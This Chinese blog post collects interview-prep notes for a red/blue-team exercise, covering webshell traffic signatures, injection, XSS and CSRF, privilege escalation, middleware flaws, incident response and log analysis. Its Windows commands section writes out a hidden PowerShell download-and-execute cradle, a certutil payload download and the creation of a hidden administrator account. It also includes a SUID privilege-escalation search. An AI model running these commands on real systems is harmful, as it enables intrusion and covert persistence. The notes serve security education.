【面试】HW面试资料整理

HVV面试资料,文章整理匆忙,较为无序

几个面试问题

蓝队初级1

  1. SQL注入,列举几个攻击手法
  2. Mysql getshell
  3. 漏洞挖掘有实践过吗
  4. Log4j原理,payload特征
  5. Spring Boot RCE
  6. PHP命令执行函数
  7. 端口号,Mysql,RDP,MSSQL
  8. 永恒之蓝
  9. linux提权pkexec
  10. Shell工具,流量特征
  11. 如何判断对方服务器类型
  12. 正向shell反向shell
  13. 常见的中间件及漏洞

蓝队初级2

  1. 请你自我介绍一下?
  2. 你了解sql注入吗讲一些你知道的sql的利用?
  3. spring rce 了解吗讲一下原理?
  4. 接触过安全设备吗?
  5. 讲一下你用过的shell管理工具以及他们的流量特征?
  6. 讲一下如果安全设备报警如何判断不是误报?

蓝队高级面试官面的蓝队初级

  1. java序列化 讲下原理过程
  2. sql注入 时间盲注
  3. csrf与ssrf区别
  4. 怎么防御csrf
  5. windows中查看进程
  6. linux查看用户名密码命令
  7. ua中的信息
  8. 存储型xss与dom型xss
  9. dns不出网咋办
  10. 如何判断一个网站的真实ip地址
  11. python解析url编码用什么库(py4什么的)
  12. 安全设备
  13. 免杀Webshell
  14. sqlmap使用
  15. xxe
  16. 发现webshell怎么操作
  17. 内网
  18. redis未授权访问

SQL注入

SQLi攻击与防御

正向代理和反向代理的区别

正向代理

正向代理类似跳板,通过正向代理机器访问外部互联网,如果正向代理机器在海外,可以连接GFW外部互联网

客户端<==>正向代理机器<==>互联网

正向代理可以收集用户上网信息,进行权限认证等

反向代理

反向代理类似镜像,实现对服务的转发,实际上对外相当于一台服务器

客户端<==>反向代理机器<==>目标机器

反向代理能有效分隔内网机器,防止攻击或者进行负载均衡

蚁剑/菜刀/冰蝎异同

相同:都是用来连接 Web Shell 的工具 不同:冰蝎有流量动态加密

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码 shell 特征就是传输参数名为 z0,还存在int_set(“display_erros”,”0″)字符串特征

蚁剑

默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码 第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息 第二次请求,会把主机目录列出来

冰蝎2.0

使用 aes 加密发起三次请求 第一次请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的 第二次请求是为了获取 key,第三次使用 key 的 aes 加密进行通信

冰蝎3.0

使用 aes 加密发起两次请求 3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,不再使用随机生成 key,改为取连接密码的 md5 加密值的前 16 位作为密钥 一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

哥斯拉

支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接

Windows提权类型与方法

类型

纵向提权:低权限角色获得高权限角色的权限 横向提权:获取同级别角色的权

方法

  1. 系统内核溢出漏洞提权
  2. 数据库提权
  3. 错误的系统配置提权
  4. 组策略首选项提权
  5. WEB中间件漏洞提权
  6. DLL劫持提权
  7. 滥用高危权限令牌提权
  8. 第三方软件/服务提权等

Linux提权

  1. Linux内核漏洞提权
  2. SUID提权(普通用户执行指令的标记)
    find / -perm -u=s -type f 2>/dev/null
    

    查找SUID为root的指令

  3. 环境变量劫持高权限程序

  4. sudoer(用户组)配置文件错误提权
  5. pkexec本地权限提升漏洞(CVE-2021-4034)

XSS

  1. 反射型(非持久化):反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
  2. 存储型(持久化):用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有XSS攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到XSS攻击
  3. Dom-based型:客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。

XSS的防御

对输入过滤:

  1. 将半角符号替换为全角符号
  2. 利用白名单对输入进行过滤,比如输入id只能输入数字

对输出编码:

  1. 对容易引起xss的符号(例如引号,< , >)进行HTML编码
  2. 设置HttpOnly,让js脚本无法获取cookies内容

CSRF攻击

CSRF是跨站请求伪造攻击 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。 file 其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

CSRF攻击原理:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

攻击范例

假设某银行网站A以GET请求来发起转账操作,转账的地址为

www.xxx.com/transfer.do?accountNum=l000l&money=10000

参数accountNum表示转账的账户,参数money表示转账金额。 而某大型论坛B上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:

当你登录网站A后,没有及时登出,这时你访问了论坛B,不幸的事情发生了,你会发现你的账号里面少了10000块… 为什么会这样呢,在你登录银行A时,你的浏览器端会生成银行A的cookie,而当你访问论坛B的时候,页面上的标签需要浏览器发起一个新的HTTP请求,以获得图片资源,当浏览器发起请求时,请求的却是银行A的转账地址

www.xxx.com/transfer.do?accountNum=l000l&money=10000

并且会带上银行A的cookie信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了10000块。 当然,绝大多数网站都不会使用GET请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。 假设银行将其转账方式改成POST提交,而论坛B恰好又存在一个XSS漏洞,恶意用户在它的页面上植入如下代码:

    var form = document.forms('auto');
    form.submit();

如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址

http://www.xxx.com/transfer.do

同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块

常见利用

document.forms[0].submit(); 

CSRF防御

  1. 尽量使用POST
  2. 设置HttpOnly
  3. 增加Token
  4. 自定义http请求头

Docker及相关应用

详见Docker分类

  1. 那Docker究竟有哪些好处呢?除去之前说的环境的配置
  2. 基于Linux的cgroup运行(现在大部分开源OJ所使用的代码执行方式)
  3. 直接运行在宿主机,不用类似KVM一样的模拟(容器不是虚拟机)
  4. 有轻量级隔离,也可以实现容器与宿主机的资源共享(网络不是隔离的)
  5. 不需要硬件的支持,不需要模拟硬件(虚拟机需要CPU虚拟化支持)
  6. 进程级的模拟,更快的启动速度以及更少的资源占用
  7. 提供弹性的云服务,Docker容器可以随开随关,很适合动态扩容。
  8. 通过多个容器,一台机器可以跑多个服务,因此在本机就可以模拟出微服务架构

Docker及微服务可参考报告开发及生产环境配置

Burp模块

  1. Dashboard(仪表盘)
  2. Target(目标)
  3. Proxy(代理)
  4. Intruder(侵入)也就是爆破
  5. Repeater(重放)
  6. Sequencer(序列器)
  7. Decoder(解码器)
  8. Comparer(比较)
  9. Extender(扩展)
  10. Project options(项目选项)
  11. Options(用户选项)

OWASP TOP10

OWASP是开放式Web安全项目组织 2021安全漏洞Top10:

  1. SQL注入
  2. 失效的身份认证和会话管理
  3. 跨站脚本攻击 XSS
  4. 直接引用不安全的对象
  5. 安全配置错误
  6. 敏感信息泄露
  7. 缺少功能级的访问控制
  8. 跨站请求伪造CSRF
  9. 使用含有已知漏洞的组件
  10. 未验证的重定向和转发

数据库及类型

关系型

  1. MySQL:3306
  2. SQL Server:1433
  3. Oracle:1521
  4. DB2:5000
  5. MongoDB:27017 基于关系型与非关系型之间,支持复杂查询语句,数据结构非常松散

非关系型

  1. Redis:6379
  2. Memcached:11211

常见的中间件漏洞

IIS,Apache,Nginx是目前应用最广的三大Web服务器

IIS

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务

IIS 6 解析漏洞

基于文件名,该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。

IIS 6 解析漏洞防护

  1. 限制上传目录执行权限,不允许执行脚本。
  2. 不允许新建目录。
  3. 上传的文件需经过重命名时间戳+随机数+.jpg等

Apache

AddHandler导致的解析漏洞

如果运维人员给.php后缀增加了处理器

AddHandler application/x-httpd-php.php 

那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。 防护同上 IIS 6

Nginx

配置文件错误导致的解析漏洞

  1. 可以直接获取诸如`index.php~,index.php.bak`等文件
  2. 对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
    https://api.hz2016.com/a.png/a.php
    

防护

  1. 匹配对应文件,rewrite返回404
  2. 配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

Tomcat

Tomcat 任意文件写入(CVE-2017-12615)

indows+Tomcat 7.0.x+配置文件readonly=false 导致我们可以往服务器写文件

Weblogic

任意文件上传漏洞(CVE-2018-2894)

通过截获上传的时间戳找出真正的文件名达到poc

内网渗透思路

  1. 代理穿透
  2. 权限维持
  3. 内网信息收集
  4. 口令爆破
  5. 凭据窃取
  6. 社工
  7. 横行和纵向渗透
  8. 拿下域控

正向SHELL和反向SHELL的区别

正向Shell:

攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

反向Shell:

被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

应急响应流程

准备阶段

和客户确认事件背景、相关负责人联系方式、确定参与此次应急响应人员、根据客户描述,初步判定事件响应策略,携带应急响应工具包前往客户现场。

检测阶段

检测阶段确认入侵事件是否发生,如真发生了入侵事件,评估造成的危害(比如说判断是信息泄露还是被写码了)、范围以及发展的速度,事件会不会进一步升级

抑制阶段

本阶段主要任务是通过事件分析查明事件危害的方式,并且给出清除危害的解决方案 系统基本信息、网络排查、进程排查、注册表排查、计划任务排查、服务排查、关键目录排查、用户组排查、事件日志排查、webshell排查、中间件日志排查、安全设备日志排查

恢复阶段

把受影响系统、设备、软件和应用服务还原到正常的工作状态 常见手段:系统重装、补丁加固、网络恢复、密码重置、木马清除等。

跟踪阶段

调查事件原因,输出应急响应报告,提供安全建议、加强安全教育、避免同类事件

应急相应一图流

Windows基础命令

type   显示文本内容         type  1.txt
dir    显示当前目录内容
dir/s/b    查询文件 返回绝对路径,例如   dir/s/b  d:\a.php  查询D盘中a.php文件返回绝对路径     
                                     dir c:\ /s /b *.txt  查询c盘中txt文件,并返回绝对路径
/b 显示文件夹或文件的名字
/s 显示指定目录和所有子目录中的文件
* 是通配符,可以代表任意字符串

del 删除文件
ipconfig 查看IP地址
ipconfig /all    查看所有ip配置信息
net user         查看用户
net user ad   查看用户权限   ad为用户名
net user  username  password /add     username 和password为你要添加的账号和密码
net user  username$  password  /add     隐藏用户
net user   username    /del   删除  或者username$  删除隐藏
net localgroup administrators username /add         username为要添加管理员组别的用户
net localgroup administrators     查看所有用户包括隐藏
query user || qwinsta    查看管理员是否在线
tasklist /svc | find "Ter",假如 TermService 的 PID 是 1592。查找远程桌面端口
netstat -ano | find "1592",查看 TermService 使用的端口,如示例中的 3389
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.1/powershell.txt'))"
powershell 隐藏执行下载脚本
certutil.exe -urlcache -split -f “文件下载地址” d:\test.exe            将文件下载到d盘命名为test.exe
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件

Linux防火墙及应急处理

service  iptables status  # 查看防火墙状态
service  iptables start     #开启防火墙
service  iptables stop      #关闭防火墙
service  iptables restart   #重启防火墙

查看用户组

cat /etc/passwd     #可以查看所有用户的列表
w                   #可以查看当前活跃的用户列表
cat /etc/group      #查看用户组
groups   #查看当前登录用户的组内成员
groups   #test 查看test用户所在的组,以及组内成员
whoami   #查看当前登录用户名

查看进程

其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程

ps aux | less
ps -A
ps -e
#任务:查看非root运行的进程
ps -U root -u root -N
#任务:查看用户vivek运行的进程
ps -u vivek
#top命令提供了运行中系统的动态实时视图。在命令提示行中输入top:
top
#进程树
ps -ejH
ps axjf
#获得线程信息
ps -eLf
ps axms
#获得安全信息
ps -eo euser,ruser,suser,fuser,f,comm,label
ps axZ
ps -eM

Linux端口查看

#lsof -i:端口号查看某个端口的占用情况
lsof -i:8000
#更多lsof
lsof -i:8080:查看8080端口占用
lsof abc.txt:显示开启文件abc.txt的进程
lsof -c abc:显示abc进程现在打开的文件
lsof -c -p 1234:列出进程号为1234的进程所打开的文件
lsof -g gid:显示归属gid的进程情况
lsof +d /usr/local/:显示目录下被进程开启的文件
lsof +D /usr/local/:同上,但是会搜索目录下的目录,时间较长
lsof -d 4:显示使用fd为4的进程
lsof -i -U:显示所有打开的端口和UNIX domain文件
#netstat -tunlp 用于显示 tcp,udp 的端口和进程等相关情况。
netstat -tunlp | grep 端口号
netstat -ntlp   #查看当前所有tcp端口
netstat -ntulp | grep 80   #查看所有80端口使用情况
netstat -ntulp | grep 3306   #查看所有3306端口使用情况

Vulhub

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。 Vulhub官网

常见端口

21 ftp        ftp的端口号20、21的区别一个是数据端口,一个是控制端口,控制端口一般为21
69 TFTP       (简单文件传输协议) 
22 SSH 
23 Telnet
80 web
80-89 web
443 https   SSL心脏滴血
445 SMB     ms17-010永恒之蓝
873 Rsync未授权
1433 MSSQL
1521 Oracle    这玩应记不住?记不住?
3306 MySQL
3389 远程桌面
5432 PostgreSQL
5900 vnc   目前常用的协议有VNC/SPICE/RDP三种 、小巧,支持客户端和服务器端的直接拷贝粘贴,缺点:速度最慢
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,
        默认端口是8080
        在windows系统中:
    1098、1099、4444、4445、8083端口在/jboss/server/default/conf/jboss-service.xml中
    8080端口在/jboss/server/default/deploy/jboss-web.deployer/server.xml中
    8093端口在/jboss/server/default/deploy/jms/uil2-service.xml中。
8000-9090 都是一些常见的web端口
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50070,50030 hadoop默认端口未授权访问

161 SNMP
389 LDAP
512,513,514 Rexec
1025,111 NFS
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3312/3311 kangle主机管理系统登陆
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
7778 Kloxo主机控制面板登录
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
50000 SAP命令执行

三次握手与四次挥手

背景:TCP 位于传输层,作用是提供可靠的字节流服务,为了准确无误地将数据送达目的地,TCP 协议采纳三次握手四次挥手策略

三次握手(three-way handshaking)

TCP 三次握手,其实就是 TCP 应用在发送数据前,通过 TCP 协议跟通信对方协商好连接信息,建立起 TCP 的连接关系

  1. 第一次握手:客户端发送 SYN 报文,并进入 SYN_SENT 状态,等待服务器的确认
  2. 第二次握手:服务器收到 SYN 报文,需要给客户端发送 ACK 确认报文,同时服务器也要向客户端发送一个 SYN 报文,所以也就是向客户端发送 SYN + ACK 报文,此时服务器进入 SYN_RCVD 状态
  3. 第三次握手:客户端收到 SYN + ACK 报文,向服务器发送确认包,客户端进入 ESTABLISHED 状态。待服务器收到客户端发送的 ACK 包也会进入 ESTABLISHED 状态,完成三次握手

四次挥手(Four-Way-Wavehand)

当我们的应用程序不需要数据通信了,就会发起断开 TCP 连接。建立一个连接需要三次握手,而终止一个连接需要经过四次挥手

  1. 第一次挥手:客户端发送一个 FIN,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态
  2. 第二次挥手:服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号 +1(与SYN相同,一个FIN占用一个序号),服务端进入 CLOSE_WAIT 状态
  3. 第三次挥手:服务端发送一个 FIN,用来关闭服务端到 客户端的数据传送,服务端进入 LAST_ACK 状态
  4. 第四次挥手:客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号 +1,服务端进入 CLOSED 状态,完成四次挥手

Nmap工具使用

Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnamp。 Nmap可以完成以下任务: 主机探测、端口扫描、版本检测、系统检测 支持探测脚本的编写 Nmap在实际中应用场合如下:

  1. 通过对设备或者防火墙的探测来审计它的安全性
  2. 探测目标主机所开放的端口
  3. 通过识别新的服务器审计网络的安全性
  4. 探测网络上的主机
#扫描基础指令
-sT TCP (全)连接扫描,准确但留下大量日志记录
-sS TCP SYN (半)扫描,速度较快,不会留下日志
-sN null 扫描,标志位全为 0,不适用 Windows
-sF FIN 扫描,标志位 FIN=1,不适用 Windows
-O 查看目标主机系统版本
-sV 探测服务版本
-A 全面扫描
#主机发现
-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。-PO[protocollist]: 使用IP协议包探测对方主机是否开启。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers : 指定DNS服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点 版本侦测的
#版本侦测
-sV: 指定让Nmap进行版本侦测
--version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

Wireshark简单的过滤规则

#源ip
ip.src==1.1.1.1
#目的ip
ip.dst==1.1.1.1
#过滤80端口
tcp.port==80
#源端口
tcp.srcport==80
#目的端
tcp.dstport==80
#协议过滤:直接输入协议名即可,如 http 协议 
http
#http 模式过滤:过滤 get/post 包 
httprequest.mothod=="GET/POST"

常见取证分析工具

wireshark(流量包)、xplico、volatility(内存取证)、fastlr collector、autopsy、dumolt、ftk lmager、foremost、scalpel、bulik_exetractor

日志分析

Web服务日志一图流 操作系统日志一图流

常见日志文件位置

  • IIS
    • Windows Server 2003 iis6日志路径:
    • C:\Windows\System32\LogFiles
    • Windows Server 2008 R2、2012、2016、2019 iis7以上日志路径:
    • C:\inetpub\logs\LogFiles
  • Apache
    • Apache+Windows
    • D:\xampp\apache\logs\access.log
    • Apache+Linux
    • /var/log/apache/access.log
    • /var/log/apache2/access.log
    • /var/log/httpd/access.log
  • nginx
    • /usr/local/nginx/logs
  • 常见格式内容
    • 访问的主机IP
    • 请求时间
    • 请求方法、请求的URL、采用的协议
    • HTTP状态码

日志分析技巧

1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
9、统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
10、统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100  
11、IP统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
12、统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200 
13、统计域名
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more 
14、 统计URL
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more  
15、URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注